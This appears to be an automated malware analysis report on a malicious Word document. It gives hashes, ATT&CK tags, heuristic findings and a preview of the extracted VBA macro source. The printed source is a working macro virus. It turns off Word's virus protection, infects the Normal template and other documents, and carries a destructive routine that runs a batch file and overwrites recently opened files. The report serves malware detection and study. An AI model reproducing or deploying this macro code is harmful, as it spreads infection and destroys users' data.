Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87047a44092c21ca…

MALICIOUS

Office (OLE)

55.0 KB Created: 2001-03-07 11:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7a0a861c7a6d3ee9f72ca9070b674f5f SHA-1: ce74b97b30bf394e081e3350b5b1a4e2b064b17e SHA-256: 87047a44092c21ca65791c5230a63098b49f36f246ecff60d1b68e8d60b2590a
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of AutoOpen, Document_Open, and Auto_Close macros, along with a critical finding of a Shell() call. The VBA code attempts to disable security features and clear existing macros, suggesting an intent to download and execute a secondary payload or establish persistence. The document body is heavily corrupted and unreadable, providing no further context.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29227 bytes
SHA-256: 5be2f64884eb7ca53054b405a23770db1b541140509e8812aad79f098740330a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Stand()
'Stand
'3
'Copies: 542
    On Error Resume Next
    stato = ActiveDocument.Saved
    Application.EnableCancelKey = Not -1
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Tools").Controls("Macro").Enabled = False
    Application.DisplayRecentFiles = True
    RecentFiles.Maximum = 9
    Set mad = NormalTemplate.VBProject.VBComponents.Item(1)
    For c = 1 To 2
        If Left(StandFind(mad, "Private Sub Stand()", True), Len("Stand Yes")) = "Stand Yes" Then GoTo NoClear
        StandClear mad, "Private Sub ViewVBCode()"
        StandClear mad, "Sub Document_Close()"
        StandClear mad, "Private Sub Document_Close()"
        StandClear mad, "Sub Document_New()"
        StandClear mad, "Private Sub Document_New()"
        StandClear mad, "Sub Document_Open()"
        StandClear mad, "Private Sub Document_Open()"
        StandClear mad, "Sub AutoClose()"
        StandClear mad, "Private Sub AutoClose()"
        StandClear mad, "Sub AutoOpen()"
        StandClear mad, "Private Sub AutoOpen()"
        StandClear mad, "Sub AutoNew()"
        StandClear mad, "Private Sub AutoNew()"
        StandClear mad, "Private Sub Stand()"
        StandClear mad, "Private Function StandClear(DoveM, StartM)"
        StandClear mad, "Private Sub StandDestroy()"
        StandClear mad, "Private Function StandFind(DoveM, StartM, Infect)"
        StandClear mad, "Private Function StandInfect()"
        StandClear mad, "Private Function StandWrite(StartM)"
NoClear:
        Set mad = ActiveDocument.VBProject.VBComponents.Item(1)
    Next c
    SetAttr "c:\Stand.log", vbNormal
    Kill "c:\Stand.log"
    Open "c:\Stand.log" For Output As #1
    StandWrite "Private Sub Stand()"
    StandWrite "Private Function StandClear(DoveM, StartM)"
    StandWrite "Private Sub StandDestroy()"
    StandWrite "Private Function StandFind(DoveM, StartM, Infect)"
    StandWrite "Private Function StandInfect()"
    StandWrite "Private Function StandWrite(StartM)"
    StandWrite "Private Sub Document_Close()"
    StandWrite "Private Sub Document_Open()"
    StandWrite "Private Sub Document_New()"
    StandWrite "Private Sub ViewVBCode()"
    Close #1
    SetAttr "c:\Stand.log", vbNormal
    arg = StandInfect
    Kill "c:\Stand.log"
    Set stress = ActiveDocument
    If Left(ActiveDocument.Name, 8) <> "Document" And arg = 2 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ActiveDocument.Saved = stato
    On Error GoTo 0
End Sub

Private Function StandClear(DoveM, StartM)
'Stand
'3
    Count = StandFind(DoveM, StartM, True)
    If Left(Count, 5) <> "Stand" Then
        Do Until DoveM.CodeModule.Lines(Count, 1) = "End Sub" Or DoveM.CodeModule.Lines(Count, 1) = "End Function"
            DoveM.CodeModule.DeleteLines (Count)
        Loop
        DoveM.CodeModule.DeleteLines (Count)
    End If
End Function

Private Sub StandDestroy()
'Stand
'3
    On Error Resume Next
    SetAttr "c:\autoexec.kil", vbNormal
    Kill "c:\autoexec.kil"
    Randomize
    WhickStand = Int(5 * Rnd) + 1
    Select Case WhickStand
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
            Print #1, "rem Hey, looser, now your system, next time I'll KILL YOU"
            Close #1
            Shell "c:\kill.bat"
        Case 2
            MsgBox "This application caused a general protection error:" + Chr$(10) + "The system will be restarted", vbCritical, "Killer Queen"
            For c = 1 To Application.RecentFiles.Count
                If Left(Application.RecentFiles.Item(c).Path, 3) <> "A:\" Then
                    Open Application.RecentFiles.Item(c).Path + "\" + Application.RecentFiles.Item(c) For Output As #1
          
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.